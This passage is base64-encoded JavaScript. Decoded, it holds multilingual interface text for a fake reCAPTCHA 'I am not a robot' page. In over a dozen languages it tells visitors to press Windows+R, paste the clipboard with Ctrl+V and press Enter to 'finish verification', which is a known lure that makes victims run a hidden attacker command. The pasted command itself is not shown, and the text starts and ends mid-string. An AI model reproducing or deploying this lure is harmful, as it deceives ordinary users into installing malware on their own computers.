iBkYXVlcm4uIix2ZXJpZnlJbnN0cnVjdGlvbjoiQmVzdMOkdGlnZW4gU2llLCBkYXNzIFNpZSBlaW4gTWVuc2NoIHNpbmQsIGluZGVtIFNpZSBkaWUgZm9sZ2VuZGUgQWt0aW9uIGF1c2bDvGhyZW4uIix2ZXJpZnlpbmc6IldpcmQgw7xiZXJwcsO8ZnQuLi4iLG5vdFJvYm90OiJJY2ggYmluIGtlaW4gUm9ib3RlciIsc3RlcHM6IsOcYmVycHLDvGZ1bmciLHN1Y2Nlc3M6IkVyZm9sZ3JlaWNoLiIsdmVyaWZ5VGl0bGU6IlVtIG5hY2h3ZWlzZW4genUga8O2bm5lbiwgZGFzcyBTaWUga2VpbiBSb2JvdGVyIHNpbmQ6IixzdGVwMToiSGFsdGVuIFNpZSBkaWUgV2luZG93cy1UYXN0ZSA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPiBnZWRyw7xja3QuIixzdGVwMjoiRHLDvGNrZW4gU2llIGltIFZlcmlmaXppZXJ1bmdzZmVuc3RlciA8Yj5TdHJnPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IkRyw7xja2VuIFNpZSBkaWUgPGI+RWluZ2FiZXRhc3RlPC9iPiwgdW0gYWJ6dXNjaGxpZcOfZW4uIixvYnNlcnZlOiJXZW5uIFNpZSBmb3J0ZmFocmVuLCBiZXN0w6R0aWdlbiBTaWU6Iixjb25maXJtTGVhZDoiSWNoIGJpbiBrZWluIFJvYm90ZXIg4oCTIHJlQ0FQVENIQSBWZXJpZml6aWVydW5ncy1JRDogIixmaW5hbDoiRsO8aHJlbiBTaWUgZGllIG9iaWdlbiBTY2hyaXR0ZSBhdXMsIHVtIGRpZSDDnGJlcnByw7xmdW5nIGFienVzY2hsaWXDn2VuLiIsdmVyaWZ5QnRuOiLDnGJlcnByw7xmZW4iLGNvbmZpZGVudGlhbGl0eToiVmVydHJhdWxpY2hrZWl0Iix0ZXJtczoiTnV0enVuZ3NiZWRpbmd1bmdlbiIsZm9vdGVyOiJtdXNzIGRpZSBTaWNoZXJoZWl0IElocmVyIFZlcmJpbmR1bmcgcHLDvGZlbiwgYmV2b3IgU2llIGZvcnRmYWhyZW4uIn0sCgogICAgZnI6e2NoZWNraW5nOiJWw6lyaWZpY2F0aW9uIHF1ZSB2b3VzIMOqdGVzIGh1bWFpbi4gQ2VsYSBwZXV0IHByZW5kcmUgcXVlbHF1ZXMgc2Vjb25kZXMuIix2ZXJpZnlJbnN0cnVjdGlvbjoiVsOpcmlmaWV6IHF1ZSB2b3VzIMOqdGVzIGh1bWFpbiBlbiBjb21wbMOpdGFudCBs4oCZYWN0aW9uIGNpLWRlc3NvdXMuIix2ZXJpZnlpbmc6IlbDqXJpZmljYXRpb27igKYiLG5vdFJvYm90OiJKZSBuZSBzdWlzIHBhcyB1biByb2JvdCIsc3RlcHM6IlbDqXJpZmljYXRpb24iLHN1Y2Nlc3M6IlLDqXVzc2kuIix2ZXJpZnlUaXRsZToiUG91ciBwcm91dmVyIHF1ZSB2b3VzIG7igJnDqnRlcyBwYXMgdW4gcm9ib3QgOiIsc3RlcDE6Ik1haW50ZW5leiBsYSB0b3VjaGUgV2luZG93cyA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJEYW5zIGxhIGZlbsOqdHJlIGRlIHbDqXJpZmljYXRpb24sIGFwcHV5ZXogc3VyIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiQXBwdXlleiBzdXIgbGEgdG91Y2hlIDxiPkVudHLDqWU8L2I+IHBvdXIgdGVybWluZXIuIixvYnNlcnZlOiJFbiBjb250aW51YW50LCB2b3VzIGNvbmZpcm1leiA6Iixjb25maXJtTGVhZDoiSmUgbmUgc3VpcyBwYXMgdW4gcm9ib3Qg4oCTIElEIGRlIHbDqXJpZmljYXRpb24gcmVDQVBUQ0hBIDogIixmaW5hbDoiRWZmZWN0dWV6IGxlcyDDqXRhcGVzIGNpLWRlc3N1cyBwb3VyIHRlcm1pbmVyIGxhIHbDqXJpZmljYXRpb24uIix2ZXJpZnlCdG46IlbDqXJpZmllciIsY29uZmlkZW50aWFsaXR5OiJDb25maWRlbnRpYWxpdMOpIix0ZXJtczoiQ29uZGl0aW9ucyBnw6luw6lyYWxlcyIsZm9vdGVyOiJkb2l0IHbDqXJpZmllciBsYSBzw6ljdXJpdMOpIGRlIHZvdHJlIGNvbm5leGlvbiBhdmFudCBkZSBjb250aW51ZXIuIn0sCgogICAgaXQ6e2NoZWNraW5nOiJWZXJpZmljYSBjaGUgdHUgc2lhIHVtYW5vLiBQb3RyZWJiZSB2b2xlcmNpIHF1YWxjaGUgc2Vjb25kby4iLHZlcmlmeUluc3RydWN0aW9uOiJWZXJpZmljYSBkaSBlc3NlcmUgdW1hbm8gY29tcGxldGFuZG8gbCdhemlvbmUgc2VndWVudGUuIix2ZXJpZnlpbmc6IlZlcmlmaWNhIGluIGNvcnNv4oCmIixub3RSb2JvdDoiTm9uIHNvbm8gdW4gcm9ib3QiLHN0ZXBzOiJWZXJpZmljYSIsc3VjY2VzczoiQ29tcGxldGF0by4iLHZlcmlmeVRpdGxlOiJQZXIgZGltb3N0cmFyZSBjaGUgbm9uIHNlaSB1biByb2JvdDoiLHN0ZXAxOiJUaWVuaSBwcmVtdXRvIGlsIHRhc3RvIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiTmVsbGEgZmluZXN0cmEgZGkgdmVyaWZpY2EgcHJlbWkgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJQcmVtaSA8Yj5JbnZpbzwvYj4gcGVyIGNvbXBsZXRhcmUuIixvYnNlcnZlOiJQcm9zZWd1ZW5kbywgY29uZmVybWk6Iixjb25maXJtTGVhZDoiTm9uIHNvbm8gdW4gcm9ib3Qg4oCTIElEIGRpIHZlcmlmaWNhIHJlQ0FQVENIQTogIixmaW5hbDoiRXNlZ3VpIGkgcGFzc2FnZ2kgc29wcmEgcGVyIHRlcm1pbmFyZSBsYSB2ZXJpZmljYS4iLHZlcmlmeUJ0bjoiVmVyaWZpY2EiLGNvbmZpZGVudGlhbGl0eToiUmlzZXJ2YXRlenphIix0ZXJtczoiVGVybWluaSBlIGNvbmRpemlvbmkiLGZvb3RlcjoiZGV2ZSB2ZXJpZmljYXJlIGxhIHNpY3VyZXp6YSBkZWxsYSBjb25uZXNzaW9uZSBwcmltYSBkaSBwcm9jZWRlcmUuIn0sCgogICAgYXI6e2NoZWNraW5nOiLYrNin2LHZiiDYp9mE2KrYrdmC2YIg2YXZhiDYo9mG2YMg2KXZhtiz2KfZhi4g2YLYryDZitiz2KrYutix2YIg2YfYsNinINio2LbYuSDYq9mI2KfZhtmNLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246Itiq2K3ZgtmCINmF2YYg2KPZhtmDINil2YbYs9in2YYg2KjYpdmD2YXYp9mEINin2YTYrti32YjYqSDYo9iv2YbYp9mHLiIsdmVyaWZ5aW5nOiLYrNin2LHZjSDYp9mE2KrYrdmC2YLigKYiLG5vdFJvYm90OiLZhNiz2Kog2KjYsdmG2KfZhdisINix2YjYqNmI2KoiLHN0ZXBzOiLYp9mE2KrYrdmC2YIiLHN1Y2Nlc3M6Itiq2YUg2KjZhtis2KfYrS4iLHZlcmlmeVRpdGxlOiLZhNil2KvYqNin2Kog2KPZhtmDINmE2LPYqiDYsdmI2KjZiNiq2YvYpzoiLHN0ZXAxOiLYp9i22LrYtyDZhdi5INin2YTYp9iz2KrZhdix2KfYsSDYudmE2Ykg2YXZgdiq2KfYrSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6ItmB2Yog2YbYp9mB2LDYqSDYp9mE2KrYrdmC2YIg2KfYtti62LcgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiLYp9i22LrYtyA8Yj5FbnRlcjwvYj4g2YTZhNil2YbZh9in2KEuIixvYnNlcnZlOiLYqNin2YTZhdiq2KfYqNi52KnYjCDZgdil2YbZgyDYqtik2YPYrzoiLGNvbmZpcm1MZWFkOiLYo9mG2Kcg2YTYs9iqINix2YjYqNmI2KrZi9inIOKAkyDZhdi52LHZkdmBINiq2K3ZgtmCIHJlQ0FQVENIQTogIixmaW5hbDoi2KPZg9mF2YQg2KfZhNiu2LfZiNin2Kog2KPYudmE2KfZhyDZhNil2YbZh9in2KEg2KfZhNiq2K3ZgtmCLiIsdmVyaWZ5QnRuOiLYqtit2YLZgiIsY29uZmlkZW50aWFsaXR5OiLYp9mE2LPYsdmK2KkiLHRlcm1zOiLYp9mE2LTYsdmI2Lcg2YjYp9mE2KPYrdmD2KfZhSIsZm9vdGVyOiLZitis2Kgg2YXYsdin2KzYudipINij2YXYp9mGINin2YTYp9iq2LXYp9mEINmC2KjZhCDYp9mE2YXYqtin2KjYudipLiJ9LAoKICAgIHpoOntjaGVja2luZzoi5q2j5Zyo5qOA5p+l5oKo5piv5ZCm5Li65Lq657G744CC6L+Z5Y+v6IO96ZyA6KaB5Yeg56eS6ZKf44CCIix2ZXJpZnlJbnN0cnVjdGlvbjoi6YCa6L+H5a6M5oiQ5Lul5LiL5pON5L2c6aqM6K+B5oKo5piv5Lq657G744CCIix2ZXJpZnlpbmc6Iuato+WcqOmqjOivgeKApiIsbm90Um9ib3Q6IuaIkeS4jeaYr+acuuWZqOS6uiIsc3RlcHM6IumqjOivgSIsc3VjY2Vzczoi5oiQ5Yqf44CCIix2ZXJpZnlUaXRsZToi5Li66K+B5piO5oKo5LiN5piv5py65Zmo5Lq677yaIixzdGVwMToi5oyJ5L2PIFdpbmRvd3Mg6ZSuIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+44CCIixzdGVwMjoi5Zyo6aqM6K+B56qX5Y+j5Lit5oyJIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj7jgIIiLHN0ZXAzOiLmjIkgPGI+RW50ZXI8L2I+IOWujOaIkOOAgiIsb2JzZXJ2ZToi57un57ut5pON5L2c5Y2z6KGo56S65oKo56Gu6K6k77yaIixjb25maXJtTGVhZDoi5oiR5LiN5piv5py65Zmo5Lq6IOKAlCByZUNBUFRDSEEg6aqM6K+BIElE77yaIixmaW5hbDoi6K+35a6M5oiQ5Lul5LiK5q2l6aqk5Lul5a6M5oiQ6aqM6K+B44CCIix2ZXJpZnlCdG46IumqjOivgSIsY29uZmlkZW50aWFsaXR5OiLkv53lr4YiLHRlcm1zOiLmnaHmrL7lkozmnaHku7YiLGZvb3Rlcjoi6ZyA6KaB5Zyo57un57ut5LmL5YmN5qOA5p+l5oKo6L+e5o6l55qE5a6J5YWo5oCn44CCIn0sCgogICAgamE6e2NoZWNraW5nOiLjgYLjgarjgZ/jgYzkurrplpPjgYvjganjgYbjgYvnorroqo3jgZfjgabjgYTjgb7jgZnjgILmlbDnp5LjgYvjgYvjgovloLTlkIjjgYzjgYLjgorjgb7jgZnjgIIiLHZlcmlmeUluc3RydWN0aW9uOiLku6XkuIvjga7mk43kvZzjgpLlrozkuobjgZfjgabjgIHkurrplpPjgafjgYLjgovjgZPjgajjgpLnorroqo3jgZfjgabjgY/jgaDjgZXjgYTjgIIiLHZlcmlmeWluZzoi56K66KqN5Lit4oCmIixub3RSb2JvdDoi56eB44Gv44Ot44Oc44OD44OI44Gn44Gv44GC44KK44G+44Gb44KTIixzdGVwczoi56K66KqNIixzdWNjZXNzOiLmiJDlip/jgZfjgb7jgZfjgZ/jgIIiLHZlcmlmeVRpdGxlOiLjg63jg5zjg4Pjg4jjgafjga/jgarjgYTjgZPjgajjgpLoqLzmmI7jgZnjgovjgZ/jgoHjgavvvJoiLHN0ZXAxOiJXaW5kb3dz44Kt44O8IDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IOOCkuaKvOOBl+e2muOBkeOBpuOBj+OBoOOBleOBhOOAgiIsc3RlcDI6IuaknOiovOOCpuOCo+ODs+ODieOCpuOBpyA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+IOOCkuaKvOOBl+OBpuOBj+OBoOOBleOBhOOAgiIsc3RlcDM6IjxiPkVudGVyPC9iPiDjgpLmirzjgZfjgablrozkuobjgZfjgb7jgZnjgIIiLG9ic2VydmU6Iue2muihjOOBmeOCi+OBqOOAgeasoeOCkueiuuiqjeOBl+OBvuOBme+8miIsY29uZmlybUxlYWQ6IuengeOBr+ODreODnOODg+ODiOOBp+OBr+OBguOCiuOBvuOBm+OCkyDigJQgcmVDQVBUQ0hBIOaknOiovCBJRDogIixmaW5hbDoi5LiK6KiY44Gu5omL6aCG44KS5a6f6KGM44GX44Gm5qSc6Ki844KS5a6M5LqG44GX44Gm44GP44Gg44GV44GE44CCIix2ZXJpZnlCdG46IueiuuiqjeOBmeOCiyIsY29uZmlkZW50aWFsaXR5OiLmqZ/lr4bkv53mjIEiLHRlcm1zOiLliKnnlKjopo/ntIQiLGZvb3Rlcjoi57aa6KGM44GZ44KL5YmN44Gr5o6l57aa44Gu44K744Kt44Ol44Oq44OG44Kj44KS56K66KqN44GZ44KL5b+F6KaB44GM44GC44KK44G+44GZ44CCIn0sCgogICAgcnU6e2NoZWNraW5nOiLQn9GA0L7QstC10YDRj9C10LwsINGH0YLQviDQstGLINGH0LXQu9C+0LLQtdC6LiDQrdGC0L4g0LzQvtC20LXRgiDQt9Cw0L3Rj9GC0Ywg0L3QtdGB0LrQvtC70YzQutC+INGB0LXQutGD0L3QtC4iLHZlcmlmeUluc3RydWN0aW9uOiLQn9C+0LTRgtCy0LXRgNC00LjRgtC1LCDRh9GC0L4g0LLRiyDRh9C10LvQvtCy0LXQuiwg0LLRi9C/0L7Qu9C90LjQsiDQtNC10LnRgdGC0LLQuNC1INC90LjQttC1LiIsdmVyaWZ5aW5nOiLQn9GA0L7QstC10YDQutCw4oCmIixub3RSb2JvdDoi0K8g0L3QtSDRgNC+0LHQvtGCIixzdGVwczoi0J/RgNC+0LLQtdGA0LrQsCIsc3VjY2Vzczoi0KPRgdC/0LXRiNC90L4uIix2ZXJpZnlUaXRsZToi0KfRgtC+0LHRiyDQtNC+0LrQsNC30LDRgtGMLCDRh9GC0L4g0LLRiyDQvdC1INGA0L7QsdC+0YI6IixzdGVwMToi0KPQtNC10YDQttC40LLQsNC50YLQtSDQutC70LDQstC40YjRgyBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6ItCSINC+0LrQvdC1INC/0YDQvtCy0LXRgNC60Lgg0L3QsNC20LzQuNGC0LUgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiLQndCw0LbQvNC40YLQtSA8Yj5FbnRlcjwvYj4g0LTQu9GPINC30LDQstC10YDRiNC10L3QuNGPLiIsb2JzZXJ2ZToi0J/RgNC+0LTQvtC70LbQsNGPLCDQstGLINC/0L7QtNGC0LLQtdGA0LbQtNCw0LXRgtC1OiIsY29uZmlybUxlYWQ6ItCvINC90LUg0YDQvtCx0L7RgiDigJQgSUQg0L/RgNC+0LLQtdGA0LrQuCByZUNBUFRDSEE6ICIsZmluYWw6ItCS0YvQv9C+0LvQvdC40YLQtSDRiNCw0LPQuCDQstGL0YjQtSwg0YfRgtC+0LHRiyDQt9Cw0LLQtdGA0YjQuNGC0Ywg0L/RgNC+0LLQtdGA0LrRgy4iLHZlcmlmeUJ0bjoi0J/RgNC+0LLQtdGA0LjRgtGMIixjb25maWRlbnRpYWxpdHk6ItCa0L7QvdGE0LjQtNC10L3RhtC40LDQu9GM0L3QvtGB0YLRjCIsdGVybXM6ItCj0YHQu9C+0LLQuNGPINC40YHQv9C+0LvRjNC30L7QstCw0L3QuNGPIixmb290ZXI6ItC00L7Qu9C20LXQvSDQv9GA0L7QstC10YDQuNGC0Ywg0LHQtdC30L7Qv9Cw0YHQvdC+0YHRgtGMINCy0LDRiNC10LPQviDRgdC+0LXQtNC40L3QtdC90LjRjyDQv9C10YDQtdC0INC/0YDQvtC00L7Qu9C20LXQvdC40LXQvC4ifSwKCiAgICBlczp7Y2hlY2tpbmc6IkNvbXByb2JhbmRvIHNpIGVyZXMgaHVtYW5vLiBFc3RvIHB1ZWRlIHRhcmRhciB1bm9zIHNlZ3VuZG9zLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IlZlcmlmaWNhIHF1ZSBlcmVzIGh1bWFubyBjb21wbGV0YW5kbyBsYSBhY2Npw7NuIHNpZ3VpZW50ZS4iLHZlcmlmeWluZzoiVmVyaWZpY2FuZG/igKYiLG5vdFJvYm90OiJObyBzb3kgdW4gcm9ib3QiLHN0ZXBzOiJWZXJpZmljYWNpw7NuIixzdWNjZXNzOiJDb3JyZWN0by4iLHZlcmlmeVRpdGxlOiJQYXJhIGRlbW9zdHJhciBxdWUgbm8gZXJlcyB1biByb2JvdDoiLHN0ZXAxOiJNYW50w6luIHB1bHNhZGEgbGEgdGVjbGEgV2luZG93cyA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJFbiBsYSB2ZW50YW5hIGRlIHZlcmlmaWNhY2nDs24sIHB1bHNhIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiUHVsc2EgPGI+RW50ZXI8L2I+IHBhcmEgZmluYWxpemFyLiIsb2JzZXJ2ZToiQWwgY29udGludWFyLCBjb25maXJtYXM6Iixjb25maXJtTGVhZDoiTm8gc295IHVuIHJvYm90IOKAlCBJRCBkZSB2ZXJpZmljYWNpw7NuIHJlQ0FQVENIQTogIixmaW5hbDoiUmVhbGl6YSBsb3MgcGFzb3MgYW50ZXJpb3JlcyBwYXJhIGZpbmFsaXphciBsYSB2ZXJpZmljYWNpw7NuLiIsdmVyaWZ5QnRuOiJWZXJpZmljYXIiLGNvbmZpZGVudGlhbGl0eToiQ29uZmlkZW5jaWFsaWRhZCIsdGVybXM6IlTDqXJtaW5vcyB5IGNvbmRpY2lvbmVzIixmb290ZXI6ImRlYmUgcmV2aXNhciBsYSBzZWd1cmlkYWQgZGUgdHUgY29uZXhpw7NuIGFudGVzIGRlIGNvbnRpbnVhci4ifSwKCiAgICBwdDp7Y2hlY2tpbmc6IlZlcmlmaWNhbmRvIHNlIHZvY8OqIMOpIGh1bWFuby4gSXNzbyBwb2RlIGxldmFyIGFsZ3VucyBzZWd1bmRvcy4iLHZlcmlmeUluc3RydWN0aW9uOiJDb25maXJtZSBxdWUgdm9jw6ogw6kgaHVtYW5vIGNvbmNsdWluZG8gYSBhw6fDo28gYWJhaXhvLiIsdmVyaWZ5aW5nOiJWZXJpZmljYW5kb+KApiIsbm90Um9ib3Q6Ik7Do28gc291IHVtIHJvYsO0IixzdGVwczoiVmVyaWZpY2HDp8OjbyIsc3VjY2VzczoiQ29uY2x1w61kby4iLHZlcmlmeVRpdGxlOiJQYXJhIHByb3ZhciBxdWUgdm9jw6ogbsOjbyDDqSB1bSByb2LDtDoiLHN0ZXAxOiJNYW50ZW5oYSBwcmVzc2lvbmFkYSBhIHRlY2xhIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiTmEgamFuZWxhIGRlIHZlcmlmaWNhw6fDo28sIHByZXNzaW9uZSA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IlByZXNzaW9uZSA8Yj5FbnRlcjwvYj4gcGFyYSBjb25jbHVpci4iLG9ic2VydmU6IkFvIGNvbnRpbnVhciwgdm9jw6ogY29uZmlybWE6Iixjb25maXJtTGVhZDoiTsOjbyBzb3UgdW0gcm9iw7Qg4oCUIElEIGRlIHZlcmlmaWNhw6fDo28gcmVDQVBUQ0hBOiAiLGZpbmFsOiJDb25jbHVhIGFzIGV0YXBhcyBhY2ltYSBwYXJhIGZpbmFsaXphciBhIHZlcmlmaWNhw6fDo28uIix2ZXJpZnlCdG46IlZlcmlmaWNhciIsY29uZmlkZW50aWFsaXR5OiJDb25maWRlbmNpYWxpZGFkZSIsdGVybXM6IlRlcm1vcyBlIGNvbmRpw6fDtWVzIixmb290ZXI6InByZWNpc2EgcmV2aXNhciBhIHNlZ3VyYW7Dp2EgZGEgc3VhIGNvbmV4w6NvIGFudGVzIGRlIHByb3NzZWd1aXIuIn0sCgogICAgbmw6e2NoZWNraW5nOiJDb250cm9sZXJlbiBvZiB1IGVlbiBtZW5zIGJlbnQuIERpdCBrYW4gZW5rZWxlIHNlY29uZGVuIGR1cmVuLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IkJldmVzdGlnIGRhdCB1IGVlbiBtZW5zIGJlbnQgZG9vciBkZSBvbmRlcnN0YWFuZGUgYWN0aWUgdWl0IHRlIHZvZXJlbi4iLHZlcmlmeWluZzoiQmV6aWcgbWV0IGNvbnRyb2xlcmVu4oCmIixub3RSb2JvdDoiSWsgYmVuIGdlZW4gcm9ib3QiLHN0ZXBzOiJWZXJpZmljYXRpZSIsc3VjY2VzczoiR2VsdWt0LiIsdmVyaWZ5VGl0bGU6Ik9tIGFhbiB0ZSB0b25lbiBkYXQgdSBnZWVuIHJvYm90IGJlbnQ6IixzdGVwMToiSG91ZCBkZSBXaW5kb3dzLXRvZXRzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IGluZ2VkcnVrdC4iLHN0ZXAyOiJEcnVrIGluIGhldCB2ZXJpZmljYXRpZXZlbnN0ZXIgb3AgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJEcnVrIG9wIDxiPkVudGVyPC9iPiBvbSBhZiB0ZSByb25kZW4uIixvYnNlcnZlOiJBbHMgdSBkb29yZ2FhdCwgYmV2ZXN0aWd0IHU6Iixjb25maXJtTGVhZDoiSWsgYmVuIGdlZW4gcm9ib3Qg4oCUIHJlQ0FQVENIQS12ZXJpZmljYXRpZS1JRDogIixmaW5hbDoiVm9lciBkZSBib3ZlbnN0YWFuZGUgc3RhcHBlbiB1aXQgb20gZGUgdmVyaWZpY2F0aWUgdGUgdm9sdG9vaWVuLiIsdmVyaWZ5QnRuOiJWZXJpZmnDq3JlbiIsY29uZmlkZW50aWFsaXR5OiJWZXJ0cm91d2VsaWpraGVpZCIsdGVybXM6IlZvb3J3YWFyZGVuIixmb290ZXI6Im1vZXQgZGUgdmVpbGlnaGVpZCB2YW4gdXcgdmVyYmluZGluZyBjb250cm9sZXJlbiB2b29yZGF0IHUgdmVyZGVyZ2FhdC4ifSwKCiAgICB0cjp7Y2hlY2tpbmc6IsSwbnNhbiBvbHVwIG9sbWFkxLHEn8SxbsSxeiBrb250cm9sIGVkaWxpeW9yLiBCdSBiaXJrYcOnIHNhbml5ZSBzw7xyZWJpbGlyLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IkHFn2HEn8SxZGFraSBpxZ9sZW1pIHRhbWFtbGF5YXJhayBpbnNhbiBvbGR1xJ91bnV6dSBkb8SfcnVsYXnEsW4uIix2ZXJpZnlpbmc6IkRvxJ9ydWxhbsSxeW9y4oCmIixub3RSb2JvdDoiQmVuIHJvYm90IGRlxJ9pbGltIixzdGVwczoiRG/En3J1bGFtYSIsc3VjY2VzczoiQmHFn2FyxLFsxLEuIix2ZXJpZnlUaXRsZToiUm9ib3Qgb2xtYWTEscSfxLFuxLF6xLEga2FuxLF0bGFtYWsgacOnaW46IixzdGVwMToiV2luZG93cyB0dcWfdW51IDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IGlsZSBiYXPEsWzEsSB0dXR1bi4iLHN0ZXAyOiJEb8SfcnVsYW1hIHBlbmNlcmVzaW5kZSA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+IHR1xZ9sYXLEsW5hIGJhc8Sxbi4iLHN0ZXAzOiJCaXRpcm1layBpw6dpbiA8Yj5FbnRlcjwvYj7igJlhIGJhc8Sxbi4iLG9ic2VydmU6IkRldmFtIGVkZXJlayDFn3VubGFyxLEgb25heWxhcnPEsW7EsXo6Iixjb25maXJtTGVhZDoiUm9ib3QgZGXEn2lsaW0g4oCUIHJlQ0FQVENIQSBEb8SfcnVsYW1hIEtpbWxpxJ9pOiAiLGZpbmFsOiJEb8SfcnVsYW1hecSxIHRhbWFtbGFtYWsgacOnaW4geXVrYXLEsWRha2kgYWTEsW1sYXLEsSB1eWd1bGF5xLFuLiIsdmVyaWZ5QnRuOiJEb8SfcnVsYSIsY29uZmlkZW50aWFsaXR5OiJHaXpsaWxpayIsdGVybXM6IsWeYXJ0bGFyIHZlIEtvxZ91bGxhciIsZm9vdGVyOiJkZXZhbSBldG1lZGVuIMO2bmNlIGJhxJ9sYW50xLFuxLF6xLFuIGfDvHZlbmxpxJ9pbmkga29udHJvbCBldG1lbGlkaXIuIn0sCgogICAga286e2NoZWNraW5nOiLsgqzsmqnsnpDqsIAg7IKs656M7J247KeAIO2ZleyduO2VmOuKlCDspJHsnoXri4jri6QuIOyeoOyLnOunjCDquLDri6TroKQg7KO87IS47JqULiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IuyVhOuemCDsnpHsl4XsnYQg7JmE66OM7ZWY7JesIOyCrOuejOydtCDrp57ripTsp4Ag7ZmV7J247ZWY7IS47JqULiIsdmVyaWZ5aW5nOiLtmZXsnbgg7KSR4oCmIixub3RSb2JvdDoi64KY64qUIOuhnOu0h+ydtCDslYTri5nri4jri6QiLHN0ZXBzOiLqsoDspp0iLHN1Y2Nlc3M6IuyEseqztS4iLHZlcmlmeVRpdGxlOiLroZzrtIfsnbQg7JWE64uY7J2EIOymneuqhe2VmOugpOuptDoiLHN0ZXAxOiJXaW5kb3dzIO2CpCA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPuydhCDriITrpbTshLjsmpQuIixzdGVwMjoi6rKA7KadIOywveyXkOyEnCA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+66W8IOuIhOultOyEuOyalC4iLHN0ZXAzOiLrp4jsuZjroKTrqbQgPGI+RW50ZXI8L2I+66W8IOuIhOultOyEuOyalC4iLG9ic2VydmU6IuqzhOyGje2VmOuptCDri6TsnYzsnYQg7ZmV7J247ZWp64uI64ukOiIsY29uZmlybUxlYWQ6IuuhnOu0h+ydtCDslYTri5nri4jri6Qg4oCUIHJlQ0FQVENIQSDtmZXsnbggSUQ6ICIsZmluYWw6IuychCDri6jqs4Trk6TsnYQg7JmE66OM7ZWY7JesIOqygOymneydhCDrp4jsuZjshLjsmpQuIix2ZXJpZnlCdG46Iu2ZleyduCIsY29uZmlkZW50aWFsaXR5OiLquLDrsIAiLHRlcm1zOiLsnbTsmqnslb3qtIAiLGZvb3Rlcjoi6rOE7IaN7ZWY6riwIOyghOyXkCDsl7DqsrDsnZgg67O07JWI7J2EIO2ZleyduO2VtOyVvCDtlanri4jri6QuIn0sCgoKCiAgICBoaTp7Y2hlY2tpbmc6IuCkuOCkpOCljeCkr+CkvuCkquCkv+CkpCDgpJXgpL/gpK/gpL4g4KSc4KS+IOCksOCkueCkviDgpLngpYgg4KSV4KS/IOCkhuCkqiDgpK7gpL7gpKjgpLUg4KS54KWI4KSC4KWkIOCkh+CkuOCkruClh+CkgiDgpJXgpYHgpJsg4KS44KWH4KSV4KSC4KShIOCksuCklyDgpLjgpJXgpKTgpYcg4KS54KWI4KSC4KWkIix2ZXJpZnlJbnN0cnVjdGlvbjoi4KSo4KWA4KSa4KWHIOCkpuCkv+Ckr+CkviDgpJfgpK/gpL4g4KSV4KS+4KSw4KWN4KSvIOCkquClguCksOCkviDgpJXgpLDgpJXgpYcg4KSq4KWN4KSw4KSu4KS+4KSj4KS/4KSkIOCkleCksOClh+CkgiDgpJXgpL8g4KSG4KSqIOCkj+CklSDgpK7gpL7gpKjgpLUg4KS54KWI4KSC4KWkIix2ZXJpZnlpbmc6IuCkuOCkpOCljeCkr+CkvuCkquCkv+CkpCDgpJXgpLAg4KSw4KS54KWHIOCkueCliOCkgi4uLiIsbm90Um9ib3Q6IuCkruCliOCkgiDgpI/gpJUg4KSw4KWL4KSs4KWL4KSfIOCkqOCkueClgOCkgiDgpLngpYLgpIEiLHN0ZXBzOiLgpLjgpKTgpY3gpK/gpL7gpKrgpKgg4KSa4KSw4KSjIixzdWNjZXNzOiLgpLjgpKvgpLLgpaQiLHZlcmlmeVRpdGxlOiLgpK/gpLkg4KS44KS/4KSm4KWN4KSnIOCkleCksOCkqOClhyDgpJXgpYcg4KSy4KS/4KSPIOCkleCkvyDgpIbgpKog4KSw4KWL4KSs4KWL4KSfIOCkqOCkueClgOCkgiDgpLngpYjgpII6IixzdGVwMToiV2luZG93cyDgpJXgpYHgpILgpJzgpYAgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4g4KSm4KSs4KS+4KSV4KSwIOCksOCkluClh+CkguClpCIsc3RlcDI6IuCkuOCkpOCljeCkr+CkvuCkquCkqCDgpLXgpL/gpILgpKHgpYsg4KSu4KWH4KSCIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4g4KSm4KSs4KS+4KSP4KSB4KWkIixzdGVwMzoi4KS44KSu4KS+4KSq4KWN4KSkIOCk